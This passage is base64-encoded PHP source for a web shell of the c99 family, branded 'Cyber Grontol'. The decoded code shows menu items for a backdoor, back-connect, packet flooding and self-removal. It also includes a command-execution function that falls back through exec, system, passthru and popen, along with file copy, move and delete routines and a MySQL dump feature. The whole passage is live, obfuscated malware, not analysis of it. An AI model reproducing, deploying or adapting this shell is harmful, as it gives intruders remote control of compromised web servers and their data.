nIgLz48YnIgLz4iKSwKCWFycmF5KCJUb29scyIsJHN1cmwuInh0dXg9dG9vbHMiKSwKCWFycmF5KCJwcyBhdXgiLCRzdXJsLiJ4dHV4PXByb2Nlc3NlcyIpLAoJYXJyYXkoIkVuY29kZXIiLCRzdXJsLiJ4dHV4PWVuY29kZXIiKSwKCWFycmF5KCJJbmZvYm94Iiwkc3VybC4ieHR1eD1zZWN1cml0eSIpLAoJYXJyYXkoIk15U1FMIE1hbmFnZXIiLCRzdXJsLiJhY3Q9c3FsIiksCglhcnJheSgiUGFja2V0IFN0b3JtIiwkcGFja2V0KSwKCWFycmF5KCI8YnIgLz48YnIgLz4iKSwKCWFycmF5KCJSZWFkYWJsZSBkaXIiLCRzdXJsLiJ4dHV4PWZpbmRlciIpLAoJYXJyYXkoIkJhY2tkb29yIiwkc3VybC4ieHR1eD1zaGJkIiksCglhcnJheSgiQmFjayBDb25uZWN0Iiwkc3VybC4ieHR1eD1iYWNrYyIpLAoJYXJyYXkoIlJlbW92ZSIsJHN1cmwuInh0dXg9c2VsZnJlbW92ZSIpCik7Ci8vSGlnaGxpZ2h0IHN5bnRheCBjb2RlIGNvbG9ycyAKJGhpZ2hsaWdodF9iYWNrZ3JvdW5kID0gInRyYW5zcGFyZW50IjsgCiRoaWdobGlnaHRfYmcgPSAiI0ZGRkZGRiI7IAokaGlnaGxpZ2h0X2NvbW1lbnQgPSAiIzZBNkE2QSI7IAokaGlnaGxpZ2h0X2RlZmF1bHQgPSAiIzBGMCI7IAokaGlnaGxpZ2h0X2h0bWwgPSAiIzA5MCI7IAokaGlnaGxpZ2h0X2tleXdvcmQgPSAiIzAwNzcwMCI7IAokaGlnaGxpZ2h0X3N0cmluZyA9ICIjRkYwMDAwIjsgCgpAJGYgPSAkX1JFUVVFU1RbImYiXTsgCkBleHRyYWN0KCRfUkVRVUVTVFsiVHVYY29vayJdKTsgCgovL0VORCBDT05GSUdVUkFUSU9OIApAc2V0X3RpbWVfbGltaXQoMCk7IAokdG1wID0gYXJyYXkoKTsgCmZvcmVhY2goJGhvc3RfYWxsb3cgYXMgJGs9PiR2KSB7JHRtcFtdID0gc3RyX3JlcGxhY2UoIlxcKiIsIi4qIixwcmVnX3F1b3RlKCR2KSk7fSAKJHMgPSAiIV4oIi5pbXBsb2RlKCJ8IiwkdG1wKS4iKSQhaSI7IAppZiAoIXByZWdfbWF0Y2goJHMsZ2V0ZW52KCJSRU1PVEVfQUREUiIpKSBhbmQgIXByZWdfbWF0Y2goJHMsZ2V0aG9zdGJ5YWRkcihnZXRlbnYoIlJFTU9URV9BRERSIikpKSkgewpleGl0KCI8YSBocmVmPVwiaHR0cDovL2N5YmVyZ3JvbnRvbC5jb21cIj5DeWJlciBHcm9udG9sPC9hPiAtIHlvdXIgaG9zdCAoIi5nZXRlbnYoIlJFTU9URV9BRERSIikuIikgbm90IGFsbG93Iik7Cn0gCmlmICghZW1wdHkoJGxvZ2luKSkgCnsgCiBpZiAoZW1wdHkoJG1kNV9wYXNzKSkgeyRtZDVfcGFzcyA9IG1kNSgkcGFzcyk7fSAKIGlmICgoJF9TRVJWRVJbIlBIUF9BVVRIX1VTRVIiXSAhPSAkbG9naW4pIG9yIChtZDUoJF9TRVJWRVJbIlBIUF9BVVRIX1BXIl0pICE9ICRtZDVfcGFzcykpCiB7IAogIGlmIChlbXB0eSgkbG9naW5fdHh0KSkgeyRsb2dpbl90eHQgPSBzdHJpcF90YWdzKGVyZWdfcmVwbGFjZSgiJm5ic3A7fDxicj4iLCIgIiwkZG9uYXRlZF9odG1sKSk7fSAKICBoZWFkZXIoIldXVy1BdXRoZW50aWNhdGU6IEJhc2ljIHJlYWxtPVwiVmVyc2lvbiIuJE8yWERBVmVyLiI6ICIuJGxvZ2luX3R4dC4iXCIiKTsgCiAgaGVhZGVyKCJIVFRQLzEuMCA0MDEgVW5hdXRob3JpemVkIik7IAogIGV4aXQoJGFjY2Vzc2RlbmllZG1lc3MpOyAKIH0gCn0gCmlmICgkeHR1eCAhPSAiaW1nIikgCnsgCiRsYXN0ZGlyID0gcmVhbHBhdGgoIi4iKTsgCmNoZGlyKCRjdXJkaXIpOyAKaWYgKCRzZWxmd3JpdGUgb3IgJHVwZGF0ZW5vdykge0BvYl9jbGVhbigpOyBUdVhfZ2V0dXBkYXRlKCRzZWxmd3JpdGUsMSk7IGV4aXQ7fSAKJHNlc3NfZGF0YSA9IHVuc2VyaWFsaXplKCRfQ09PS0lFWyIkc2Vzc19jb29raWUiXSk7IAppZiAoIWlzX2FycmF5KCRzZXNzX2RhdGEpKSB7JHNlc3NfZGF0YSA9IGFycmF5KCk7fSAKaWYgKCFpc19hcnJheSgkc2Vzc19kYXRhWyJjb3B5Il0pKSB7JHNlc3NfZGF0YVsiY29weSJdID0gYXJyYXkoKTt9IAppZiAoIWlzX2FycmF5KCRzZXNzX2RhdGFbImN1dCJdKSkgeyRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXkoKTt9IAoKJGRpc2FibGVmdW5jID0gQGluaV9nZXQoImRpc2FibGVfZnVuY3Rpb25zIik7IAppZiAoIWVtcHR5KCRkaXNhYmxlZnVuYykpIAp7IAogJGRpc2FibGVmdW5jID0gc3RyX3JlcGxhY2UoIiAiLCIiLCRkaXNhYmxlZnVuYyk7IAogJGRpc2FibGVmdW5jID0gZXhwbG9kZSgiLCIsJGRpc2FibGVmdW5jKTsgCn0gCgppZiAoIWZ1bmN0aW9uX2V4aXN0cygiYzk5X2J1ZmZfcHJlcGFyZSIpKSAKeyAKZnVuY3Rpb24gYzk5X2J1ZmZfcHJlcGFyZSgpIAp7IAoJZ2xvYmFsICRzZXNzX2RhdGE7IAoJZ2xvYmFsICR4dHV4OyAKCWZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikgeyRzZXNzX2RhdGFbImNvcHkiXVska10gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IscmVhbHBhdGgoJHYpKTt9IAoJZm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpIHskc2Vzc19kYXRhWyJjdXQiXVska10gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IscmVhbHBhdGgoJHYpKTt9IAoJJHNlc3NfZGF0YVsiY29weSJdID0gYXJyYXlfdW5pcXVlKCRzZXNzX2RhdGFbImNvcHkiXSk7IAoJJHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheV91bmlxdWUoJHNlc3NfZGF0YVsiY3V0Il0pOyAKCXNvcnQoJHNlc3NfZGF0YVsiY29weSJdKTsgCglzb3J0KCRzZXNzX2RhdGFbImN1dCJdKTsgCglpZiAoJHh0dXggIT0gImNvcHkiKSB7Zm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpIHtpZiAoJHNlc3NfZGF0YVsiY29weSJdWyRrXSA9PSAkdikge3Vuc2V0KCRzZXNzX2RhdGFbImNvcHkiXVska10pOyB9fQoJfSBlbHNlIHsKCWZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikge2lmICgkc2Vzc19kYXRhWyJjdXQiXVska10gPT0gJHYpIHt1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pO319fSAKfSAKfSAKYzk5X2J1ZmZfcHJlcGFyZSgpOyAKaWYgKCFmdW5jdGlvbl9leGlzdHMoImM5OV9zZXNzX3B1dCIpKSAKeyAKZnVuY3Rpb24gYzk5X3Nlc3NfcHV0KCRkYXRhKSAKeyAKCWdsb2JhbCAkc2Vzc19jb29raWU7IAoJZ2xvYmFsICRzZXNzX2RhdGE7IAoJYzk5X2J1ZmZfcHJlcGFyZSgpOyAKJHNlc3NfZGF0YSA9ICRkYXRhOyAKJGRhdGEgPSBzZXJpYWxpemUoJGRhdGEpOyAKCXNldGNvb2tpZSgkc2Vzc19jb29raWUsJGRhdGEpOyAKfSAKfSAKZm9yZWFjaCAoYXJyYXkoInNvcnQiLCJzcWxfc29ydCIpIGFzICR2KSAKeyAKCWlmICghZW1wdHkoJF9HRVRbJHZdKSkgeyQkdiA9ICRfR0VUWyR2XTt9IAoJaWYgKCFlbXB0eSgkX1BPU1RbJHZdKSkgeyQkdiA9ICRfUE9TVFskdl07fSAKfSAKaWYgKCRzb3J0X3NhdmUpIAp7IAoJaWYgKCFlbXB0eSgkc29ydCkpIHtzZXRjb29raWUoInNvcnQiLCRzb3J0KTt9IAoJaWYgKCFlbXB0eSgkc3FsX3NvcnQpKSB7c2V0Y29va2llKCJzcWxfc29ydCIsJHNxbF9zb3J0KTt9IAp9IAppZiAoIWZ1bmN0aW9uX2V4aXN0cygic3RyMm1pbmkiKSkgCnsgCmZ1bmN0aW9uIHN0cjJtaW5pKCRjb250ZW50LCRsZW4pIAp7IAoJaWYgKHN0cmxlbigkY29udGVudCkgPiAkbGVuKSAKIHsgCiRsZW4gPSBjZWlsKCRsZW4vMikgLSAyOyAKCXJldHVybiBzdWJzdHIoJGNvbnRlbnQsIDAsJGxlbikuIi4uLiIuc3Vic3RyKCRjb250ZW50LC0kbGVuKTsgIH0gZWxzZSB7CglyZXR1cm4gJGNvbnRlbnQ7fSAKfSAKfSAKaWYgKCFmdW5jdGlvbl9leGlzdHMoInZpZXdfc2l6ZSIpKSAKeyAKZnVuY3Rpb24gdmlld19zaXplKCRzaXplKSAKeyAKCWlmICghaXNfbnVtZXJpYygkc2l6ZSkpIHtyZXR1cm4gRkFMU0U7IH0gZWxzZSB7CglpZiAoJHNpemUgPj0gMTA3Mzc0MTgyNCkgeyRzaXplID0gcm91bmQoJHNpemUvMTA3Mzc0MTgyNCoxMDApLzEwMCAuIiBHQiI7fSAKCWVsc2VpZiAoJHNpemUgPj0gMTA0ODU3NikgeyRzaXplID0gcm91bmQoJHNpemUvMTA0ODU3NioxMDApLzEwMCAuIiBNQiI7fSAKCWVsc2VpZiAoJHNpemUgPj0gMTAyNCkgeyRzaXplID0gcm91bmQoJHNpemUvMTAyNCoxMDApLzEwMCAuIiBLQiI7IH0gZWxzZSB7Cgkkc2l6ZSA9ICRzaXplIC4gIiBCIjt9IAoJcmV0dXJuICRzaXplOyAKIH0gCn0gCn0gCmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19jb3B5X2RpciIpKSAKeyAKZnVuY3Rpb24gZnNfY29weV9kaXIoJGQsJHQpIAp7IAogJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOyAKIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30gCiAkaCA9IG9wZW5kaXIoJGQpOyAKIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKSAKIHsgCiAgaWYgKCgkbyAhPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpIAogIHsgCiAgIGlmICghaXNfZGlyKCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pKSB7JHJldCA9IGNvcHkoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTsgfSBlbHNlIHsKCSRyZXQgPSBta2RpcigkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTsgZnNfY29weV9kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTt9IAogICBpZiAoISRyZXQpIHtyZXR1cm4gJHJldDt9IAogIH0gCiB9IAogY2xvc2VkaXIoJGgpOyAKIHJldHVybiBUUlVFOyAKfSAKfSAKaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX2NvcHlfb2JqIikpIAp7IApmdW5jdGlvbiBmc19jb3B5X29iaigkZCwkdCkgCnsgCiAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7IAogJHQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHQpOyAKIGlmICghaXNfZGlyKGRpcm5hbWUoJHQpKSkge21rZGlyKGRpcm5hbWUoJHQpKTt9IAogaWYgKGlzX2RpcigkZCkpIAogeyAKCWlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30gCglpZiAoc3Vic3RyKCR0LC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9IAoJcmV0dXJuIGZzX2NvcHlfZGlyKCRkLCR0KTsgCiB9IAoJZWxzZWlmIChpc19maWxlKCRkKSkge3JldHVybiBjb3B5KCRkLCR0KTsKCX0gZWxzZSB7CglyZXR1cm4gRkFMU0U7fSAKfSAKfSAKaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX21vdmVfZGlyIikpIAp7IApmdW5jdGlvbiBmc19tb3ZlX2RpcigkZCwkdCkgCnsgCiAkaCA9IG9wZW5kaXIoJGQpOyAKIGlmICghaXNfZGlyKCR0KSkge21rZGlyKCR0KTt9IAogd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpIAogeyAKICBpZiAoKCRvICE9ICIuIikgYW5kICgkbyAhPSAiLi4iKSkgCiAgeyAKICAgJHJldCA9IFRSVUU7IAoJaWYgKCFpc19kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykpIHskcmV0ID0gY29weSgkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pOyB9IGVsc2UgewoJaWYgKG1rZGlyKCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pIGFuZCBmc19jb3B5X2RpcigkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pKSB7JHJldCA9IEZBTFNFO319IAoJaWYgKCEkcmV0KSB7cmV0dXJuICRyZXQ7fSAKCX0gCiAgICAgfSAKCWNsb3NlZGlyKCRoKTsgCglyZXR1cm4gVFJVRTsgCn0gCn0gCmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19tb3ZlX29iaiIpKSAKeyAKZnVuY3Rpb24gZnNfbW92ZV9vYmooJGQsJHQpIAp7IAogJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOyAKICR0ID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR0KTsgCiBpZiAoaXNfZGlyKCRkKSkgCiB7IAogIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30gCiAgaWYgKHN1YnN0cigkdCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR0IC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fSAKICByZXR1cm4gZnNfbW92ZV9kaXIoJGQsJHQpOyAKIH0gCiBlbHNlaWYgKGlzX2ZpbGUoJGQpKSAKeyAKCWlmKGNvcHkoJGQsJHQpKSB7cmV0dXJuIHVubGluaygkZCk7IH0gZWxzZSB7Cgl1bmxpbmsoJHQpOyByZXR1cm4gRkFMU0U7fSAKCX0gZWxzZSB7CglyZXR1cm4gRkFMU0U7fSAKfSAKfSAKaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX3JtZGlyIikpIAp7IApmdW5jdGlvbiBmc19ybWRpcigkZCkgCnsgCiAkaCA9IG9wZW5kaXIoJGQpOyAKIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKSAKIHsgCiAgaWYgKCgkbyAhPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpIAogIHsgCglpZiAoIWlzX2RpcigkZC4kbykpIHt1bmxpbmsoJGQuJG8pOyB9IGVsc2UgewoJZnNfcm1kaXIoJGQuJG8uRElSRUNUT1JZX1NFUEFSQVRPUik7IHJtZGlyKCRkLiRvKTt9IAogIH0gCiB9IAogY2xvc2VkaXIoJGgpOyAKIHJtZGlyKCRkKTsgCiByZXR1cm4gIWlzX2RpcigkZCk7IAp9IAp9IAppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfcm1vYmoiKSkgCnsgCmZ1bmN0aW9uIGZzX3Jtb2JqKCRvKSAKeyAKJG8gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJG8pOyAKCWlmIChpc19kaXIoJG8pKSAKCXsgCglpZiAoc3Vic3RyKCRvLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JG8gLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9IAoJcmV0dXJuIGZzX3JtZGlyKCRvKTsgCgl9IAoJZWxzZWlmIChpc19maWxlKCRvKSkge3JldHVybiB1bmxpbmsoJG8pOwoJfSBlbHNlIHsgcmV0dXJuIEZBTFNFO30gCn0gCn0gCmlmICghZnVuY3Rpb25fZXhpc3RzKCJvMnhkYWV4ZWMiKSkgCnsgCmZ1bmN0aW9uIG8yeGRhZXhlYygkY21kKSAKeyAKIGdsb2JhbCAkZGlzYWJsZWZ1bmM7IAogJHJlc3VsdCA9ICIiOyAKIGlmICghZW1wdHkoJGNtZCkpIAogeyAKICBpZiAoaXNfY2FsbGFibGUoImV4ZWMiKSBhbmQgIWluX2FycmF5KCJleGVjIiwkZGlzYWJsZWZ1bmMpKSB7ZXhlYygkY21kLCRyZXN1bHQpOyAkcmVzdWx0ID0gam9pbigiXG4iLCRyZXN1bHQpO30gCiAgZWxzZWlmICgoJHJlc3VsdCA9IGAkY21kYCkgIT09IEZBTFNFKSB7fSAKICBlbHNlaWYgKGlzX2NhbGxhYmxlKCJzeXN0ZW0iKSBhbmQgIWluX2FycmF5KCJzeXN0ZW0iLCRkaXNhYmxlZnVuYykpIHskdiA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IHN5c3RlbSgkY21kKTsgJHJlc3VsdCA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IGVjaG8gJHY7fSAKICBlbHNlaWYgKGlzX2NhbGxhYmxlKCJwYXNzdGhydSIpIGFuZCAhaW5fYXJyYXkoInBhc3N0aHJ1IiwkZGlzYWJsZWZ1bmMpKSB7JHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBwYXNzdGhydSgkY21kKTsgJHJlc3VsdCA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IGVjaG8gJHY7fSAKICBlbHNlaWYgKGlzX3Jlc291cmNlKCRmcCA9IHBvcGVuKCRjbWQsInIiKSkpIAogIHsgCiAgICRyZXN1bHQgPSAiIjsgCiAgIHdoaWxlKCFmZW9mKCRmcCkpIHskcmVzdWx0IC49IGZyZWFkKCRmcCwxMDI0KTt9IAogICBwY2xvc2UoJGZwKTsgCiAgfSAKIH0gCiByZXR1cm4gJHJlc3VsdDsgCn0gCn0gCmlmICghZnVuY3Rpb25fZXhpc3RzKCJ0YWJzb3J0IikpIHtmdW5jdGlvbiB0YWJzb3J0KCRhLCRiKSB7Z2xvYmFsICR2OyByZXR1cm4gc3RybmF0Y21wKCRhWyR2XSwgJGJbJHZdKTt9fSAKaWYgKCFmdW5jdGlvbl9leGlzdHMoInZpZXdfcGVybXMiKSkgCnsgCmZ1bmN0aW9uIHZpZXdfcGVybXMoJG1vZGUpIAp7IAogaWYgKCgkbW9kZSAmIDB4QzAwMCkgPT09IDB4QzAwMCkgeyR0eXBlID0gInMiO30gCiBlbHNlaWYgKCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkgeyR0eXBlID0gImQiO30gCiBlbHNlaWYgKCgkbW9kZSAmIDB4QTAwMCkgPT09IDB4QTAwMCkgeyR0eXBlID0gImwiO30gCiBlbHNlaWYgKCgkbW9kZSAmIDB4ODAwMCkgPT09IDB4ODAwMCkgeyR0eXBlID0gIi0iO30gCiBlbHNlaWYgKCgkbW9kZSAmIDB4NjAwMCkgPT09IDB4NjAwMCkgeyR0eXBlID0gImIiO30gCiBlbHNlaWYgKCgkbW9kZSAmIDB4MjAwMCkgPT09IDB4MjAwMCkgeyR0eXBlID0gImMiO30gCiBlbHNlaWYgKCgkbW9kZSAmIDB4MTAwMCkgPT09IDB4MTAwMCkgeyR0eXBlID0gInAiO30gCiBlbHNlIHskdHlwZSA9ICI/Ijt9IAoKICRvd25lclsicmVhZCJdID0gKCRtb2RlICYgMDA0MDApPyJyIjoiLSI7IAogJG93bmVyWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAyMDApPyJ3IjoiLSI7IAogJG93bmVyWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAwMDEwMCk/IngiOiItIjsgCiAkZ3JvdXBbInJlYWQiXSA9ICgkbW9kZSAmIDAwMDQwKT8iciI6Ii0iOyAKICRncm91cFsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMDIwKT8idyI6Ii0iOyAKICRncm91cFsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAwMTApPyJ4IjoiLSI7IAogJHdvcmxkWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDAwNCk/InIiOiItIjsgCiAkd29ybGRbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDAwMik/ICJ3IjoiLSI7IAogJHdvcmxkWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAwMDAwMSk/IngiOiItIjsgCgogaWYgKCRtb2RlICYgMHg4MDApIHskb3duZXJbImV4ZWN1dGUiXSA9ICgkb3duZXJbImV4ZWN1dGUiXSA9PSAieCIpPyJzIjoiUyI7fSAKIGlmICgkbW9kZSAmIDB4NDAwKSB7JGdyb3VwWyJleGVjdXRlIl0gPSAoJGdyb3VwWyJleGVjdXRlIl0gPT0gIngiKT8icyI6IlMiO30gCiBpZiAoJG1vZGUgJiAweDIwMCkgeyR3b3JsZFsiZXhlY3V0ZSJdID0gKCR3b3JsZFsiZXhlY3V0ZSJdID09ICJ4Iik/InQiOiJUIjt9IAoKIHJldHVybiAkdHlwZS5qb2luKCIiLCRvd25lcikuam9pbigiIiwkZ3JvdXApLmpvaW4oIiIsJHdvcmxkKTsgCn0gCn0gCmlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpIGFuZCAhaW5fYXJyYXkoInBvc2l4X2dldHB3dWlkIiwkZGlzYWJsZWZ1bmMpKSB7ZnVuY3Rpb24gcG9zaXhfZ2V0cHd1aWQoJHVpZCkge3JldHVybiBGQUxTRTt9fSAKaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikgYW5kICFpbl9hcnJheSgicG9zaXhfZ2V0Z3JnaWQiLCRkaXNhYmxlZnVuYykpIHtmdW5jdGlvbiBwb3NpeF9nZXRncmdpZCgkZ2lkKSB7cmV0dXJuIEZBTFNFO319IAppZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfa2lsbCIpIGFuZCAhaW5fYXJyYXkoInBvc2l4X2tpbGwiLCRkaXNhYmxlZnVuYykpIHtmdW5jdGlvbiBwb3NpeF9raWxsKCRnaWQpIHtyZXR1cm4gRkFMU0U7fX0gCmlmICghZnVuY3Rpb25fZXhpc3RzKCJwYXJzZV9wZXJtcyIpKSAKeyAKZnVuY3Rpb24gcGFyc2VfcGVybXMoJG1vZGUpIAp7IAogaWYgKCgkbW9kZSAmIDB4QzAwMCkgPT09IDB4QzAwMCkgeyR0ID0gInMiO30gCiBlbHNlaWYgKCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkgeyR0ID0gImQiO30gCiBlbHNlaWYgKCgkbW9kZSAmIDB4QTAwMCkgPT09IDB4QTAwMCkgeyR0ID0gImwiO30gCiBlbHNlaWYgKCgkbW9kZSAmIDB4ODAwMCkgPT09IDB4ODAwMCkgeyR0ID0gIi0iO30gCiBlbHNlaWYgKCgkbW9kZSAmIDB4NjAwMCkgPT09IDB4NjAwMCkgeyR0ID0gImIiO30gCiBlbHNlaWYgKCgkbW9kZSAmIDB4MjAwMCkgPT09IDB4MjAwMCkgeyR0ID0gImMiO30gCiBlbHNlaWYgKCgkbW9kZSAmIDB4MTAwMCkgPT09IDB4MTAwMCkgeyR0ID0gInAiO30gCiBlbHNlIHskdCA9ICI/Ijt9IAogJG9bInIiXSA9ICgkbW9kZSAmIDAwNDAwKSA+IDA7ICRvWyJ3Il0gPSAoJG1vZGUgJiAwMDIwMCkgPiAwOyAkb1sieCJdID0gKCRtb2RlICYgMDAxMDApID4gMDsgCiAkZ1siciJdID0gKCRtb2RlICYgMDAwNDApID4gMDsgJGdbInciXSA9ICgkbW9kZSAmIDAwMDIwKSA+IDA7ICRnWyJ4Il0gPSAoJG1vZGUgJiAwMDAxMCkgPiAwOyAKICR3WyJyIl0gPSAoJG1vZGUgJiAwMDAwNCkgPiAwOyAkd1sidyJdID0gKCRtb2RlICYgMDAwMDIpID4gMDsgJHdbIngiXSA9ICgkbW9kZSAmIDAwMDAxKSA+IDA7IAogcmV0dXJuIGFycmF5KCJ0Ij0+JHQsIm8iPT4kbywiZyI9PiRnLCJ3Ij0+JHcpOyAKfSAKfSAKaWYgKCFmdW5jdGlvbl9leGlzdHMoInBhcnNlc29ydCIpKSAKeyAKZnVuY3Rpb24gcGFyc2Vzb3J0KCRzb3J0KSAKeyAKICRvbmUgPSBpbnR2YWwoJHNvcnQpOyAKICRzZWNvbmQgPSBzdWJzdHIoJHNvcnQsLTEpOyAKIGlmICgkc2Vjb25kICE9ICJkIikgeyRzZWNvbmQgPSAiYSI7fSAKIHJldHVybiBhcnJheSgkb25lLCRzZWNvbmQpOyAKfSAKfSAKaWYgKCFmdW5jdGlvbl9leGlzdHMoInZpZXdfcGVybXNfY29sb3IiKSkgCnsgCmZ1bmN0aW9uIHZpZXdfcGVybXNfY29sb3IoJG8pIAp7IAogaWYgKCFpc19yZWFkYWJsZSgkbykpIHtyZXR1cm4gIjxmb250IGNvbG9yPXJlZD4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRvKSkuIjwvZm9udD4iO30gCiBlbHNlaWYgKCFpc193cml0YWJsZSgkbykpIHtyZXR1cm4gIjxmb250IGNvbG9yPXdoaXRlPiIudmlld19wZXJtcyhmaWxlcGVybXMoJG8pKS4iPC9mb250PiI7fSAKIGVsc2Uge3JldHVybiAiPGZvbnQgY29sb3I9Z3JlZW4+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkbykpLiI8L2ZvbnQ+Ijt9IAp9IAp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9kdW1wIikpIAp7IApmdW5jdGlvbiBteXNxbF9kdW1wKCRzZXQpIAp7IAogZ2xvYmFsICRPMlhEQVZlcjsgCiAkc29jayA9ICRzZXRbInNvY2siXTsgCiAkZGIgPSAkc2V0WyJkYiJdOyAKICRwcmludCA9ICRzZXRbInByaW50Il07IAogJG5sMmJyID0gJHNldFsibmwyYnIiXTsgCiAkZmlsZSA9ICRzZXRbImZpbGUiXTsgCiAkYWRkX2Ryb3AgPSAkc2V0WyJhZGRfZHJvcCJdOyAKICR0YWJzID0gJHNldFsidGFicyJdOyAKICRvbmx5dGFicyA9ICRzZXRbIm9ubHl0YWJzIl07IAogJHJldCA9IGFycmF5KCk7IAogJHJldFsiZXJyIl0gPSBhcnJheSgpOyAKIGlmICghaXNfcmVzb3VyY2UoJHNvY2spKSB7ZWNobygiRXJyb3I6IFwkc29jayBpcyBub3QgdmFsaWQgcmVzb3VyY2UuIik7fSAKIGlmIChlbXB0eSgkZGIpKSB7JGRiID0gImRiIjt9IAogaWYgKGVtcHR5KCRwcmludCkpIHskcHJpbnQgPSAwO30gCiBpZiAoZW1wdHkoJG5sMmJyKSkgeyRubDJiciA9IDA7fSAKIGlmIChlbXB0eSgkYWRkX2Ryb3ApKSB7JGFkZF9kcm9wID0gVFJVRTt9IAogaWYgKGVtcHR5KCRmaWxlKSkgCiB7IAogICRmaWxlID0gJHRtcGRpci4iZHVtcF8iLmdldGVudigiU0VSVkVSX05BTUUiKS4iXyIuJGRiLiJfIi5kYXRlKCJkLW0tWS1ILWktcyIpLiIuc3FsIjsgCiB9IAogaWYgKCFpc19hcnJheSgkdGFicykpIHskdGFicyA9IGFycmF5KCk7fSAKIGlmIChlbXB0eSgkYWRkX2Ryb3ApKSB7JGFkZF9kcm9wID0gVFJVRTt9IAogaWYgKHNpemVvZigkdGFicykgPT0gMCkgCiB7IAogIC8vIHJldHJpdmUgdGFibGVzLWxpc3QgCiAgJHJlcyA9IG15c3FsX3F1ZXJ5KCJTSE9XIFRBQkxFUyBGUk9NICIuJGRiLCAkc29jayk7IAogIGlmIChteXNxbF9udW1fcm93cygkcmVzKSA+IDApIHt3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX3JvdygkcmVzKSkgeyR0YWJzW10gPSAkcm93WzBdO319IAogfSAKICRvdXQgPSAiIyBEdW1wZWQgYnkgQ3liZXIgR3JvbnRvbAojIEhvbWUgcGFnZTogaHR0cDovL2N5YmVyZ3JvbnRvbC5jb20gCiMgSG9zdCBzZXR0aW5nczogCiMgTXlTUUwgdmVyc2lvbjogKCIubXlzc